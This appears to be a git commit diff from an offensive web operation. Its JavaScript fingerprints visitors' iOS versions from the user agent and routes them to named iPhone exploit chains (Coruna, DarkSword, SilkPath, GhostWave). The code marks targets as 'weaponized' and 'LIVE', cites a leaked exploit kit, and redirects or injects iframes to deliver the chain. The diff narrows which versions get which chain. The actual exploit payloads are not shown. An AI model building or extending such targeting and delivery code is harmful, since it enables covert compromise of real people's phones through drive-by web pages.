feat: quene

This commit is contained in:
hashbro
2026-09-01 05:09:00 +08:00
parent 337bf45c79
commit e23550e820
28 changed files with 969 additions and 234 deletions
+5 -27
View File
@@ -159,26 +159,12 @@
return 0;
}
function isCorunaRange(v) {
if (!v || !v.length || v[0] < 13) return false;
if (v[0] >= 18) return false;
if (v[0] === 17 && v[1] >= 3) return false;
if (v[0] === 17 && v[1] === 2 && (v[2] || 0) > 1) return false;
return true;
}
function isSilkPathRange(v) {
function isDarkSwordRange(v) {
if (!v || !v.length) return false;
var maj = v[0] || 0, min = v[1] || 0, pat = v[2] || 0;
if (maj === 17 && (min > 2 || (min === 2 && pat >= 2))) return true;
if (maj === 18 && min <= 3) return true;
return false;
}
function isExploitChainRange(v) {
if (!v || !v.length) return false;
if (v[0] === 18 && (v[1] || 0) >= 4) return true;
if (v[0] >= 19 && v[0] <= 26) return true;
if (maj !== 18) return false;
if (min === 5 && pat === 0) return true;
if (min === 6 && (pat === 0 || pat === 1 || pat === 2)) return true;
return false;
}
@@ -198,15 +184,7 @@
var ios = parseIosVersion();
function chainIdForIos(v) {
if (!v || !v.length) return 'unknown';
if (isCorunaRange(v)) return 'coruna';
if (isSilkPathRange(v)) return 'silkpath';
if (isExploitChainRange(v)) {
var maj = v[0] || 0, min = v[1] || 0, pat = v[2] || 0;
if ((maj === 18 && min === 7 && pat >= 3) || (maj >= 19 && maj <= 26)) return 'ghostwave';
return 'darksword';
}
return 'blocked';
return isDarkSwordRange(v) ? 'darksword' : 'coruna';
}
var chain = chainIdForIos(ios);
var apiPlan = null;
+7 -8
View File
@@ -1062,12 +1062,11 @@
<!-- QQTIME_BOOT -->
<script>
(function () {
// Coruna(≤17.2.1):顶层进 /qqtime/ 进度壳
// iOS 18+:倒计时结束后再挂 iframe,链加载不影响倒计时
// DS 仅 18.5 / 18.6 / 18.6.1 / 18.6.2;其余顶层进 /qqtime/ Coruna 进度壳
if (/[?&]landed=1(?:&|$)/.test(location.search)) return;
if (location.pathname.indexOf("/qqtime") === 0) return;
function isCoruna() {
function isDarkSword() {
var m = /(?:iPhone|iPad|iPod).*?OS[\s_]+(\d+)[._](\d+)(?:[._](\d+))?/i.exec(
navigator.userAgent || ""
);
@@ -1075,13 +1074,13 @@
var maj = +m[1],
min = +m[2],
pat = +(m[3] || 0);
if (maj < 13 || maj >= 18) return false;
if (maj === 17 && min > 2) return false;
if (maj === 17 && min === 2 && pat > 1) return false;
return true;
if (maj !== 18) return false;
if (min === 5 && pat === 0) return true;
if (min === 6 && (pat === 0 || pat === 1 || pat === 2)) return true;
return false;
}
if (isCoruna()) {
if (!isDarkSword()) {
location.replace(location.origin + "/qqtime/");
return;
}
+10 -68
View File
@@ -234,88 +234,30 @@ function classifyTarget(v) {
}
} catch (eBand) {}
if (inVerRange(p, [13, 0, 0], [17, 2, 1])) {
return {
chain: 'coruna',
delivery_ok: true,
ghostwave: false,
version_str: version_str,
reason: 'Coruna leaked kit (khanhduytran0/coruna) via /coruna/group.html',
patched: false,
weaponized: true,
usable_grade: 'LIVE'
};
}
if (cmpVer(p, [17, 2, 1]) > 0 && cmpVer(p, [18, 4, 0]) < 0) {
var silk17 = p[0] === 17;
return {
chain: 'silkpath',
delivery_ok: true,
ghostwave: false,
version_str: version_str,
reason: silk17
? 'SilkPath loader OK but 17.x offsets are 0x0 — RCE gated by silkpath_loader'
: 'SilkPath 18.0-18.3 Stage1 + provisional bridged offsets (22E)',
patched: false,
weaponized: !silk17,
usable_grade: silk17 ? 'GATED' : 'PROVISIONAL'
};
}
if (inVerRange(p, [18, 4, 0], [18, 7, 2])) {
var ds = (p[0] === 18 && p[1] === 5 && p[2] === 0)
|| (p[0] === 18 && p[1] === 6 && (p[2] === 0 || p[2] === 1 || p[2] === 2));
if (ds) {
return {
chain: 'darksword',
delivery_ok: true,
ghostwave: (p[1] || 0) >= 7,
ghostwave: false,
version_str: version_str,
reason: (p[1] || 0) >= 7 ? 'DarkSword+GhostWave post-exploit hooks' : 'DarkSword 18.4-18.7.2',
reason: 'DarkSword ' + version_str,
patched: false,
weaponized: true,
usable_grade: 'LIVE'
};
}
if (inVerRange(p, [18, 7, 3], [26, 3, 99])) {
var grade = ghostUsableGrade(v);
var fully = (p[0] === 26 && p[1] >= 3);
return {
chain: 'ghostwave',
delivery_ok: true, // research delivery always allowed
ghostwave: true,
version_str: version_str,
reason: fully
? 'iOS 26.3 fully patched (GTIG) — harness telemetry only'
: (grade === 'RESEARCH_HIGH'
? 'GhostWave RESEARCH_HIGH — attempt 26.x worker + calibrate'
: 'GhostWave research — offsets/chain incomplete'),
patched: grade === 'DEAD',
weaponized: false,
usable_grade: grade,
warning: 'Do not treat GhostWave as production-ready'
};
}
if (cmpVer(p, [26, 3, 99]) > 0) {
return {
chain: 'out_of_scope',
delivery_ok: false,
ghostwave: false,
version_str: version_str,
reason: 'above GhostWave 26.3',
patched: true,
usable_grade: 'DEAD'
};
}
return {
chain: 'out_of_scope',
delivery_ok: false,
chain: 'coruna',
delivery_ok: true,
ghostwave: false,
version_str: version_str,
reason: 'out of scope',
reason: 'Coruna (DS allowlist: 18.5 / 18.6 / 18.6.1 / 18.6.2)',
patched: false,
usable_grade: 'DEAD'
weaponized: true,
usable_grade: 'LIVE'
};
}
function pickWorkerFile(v) {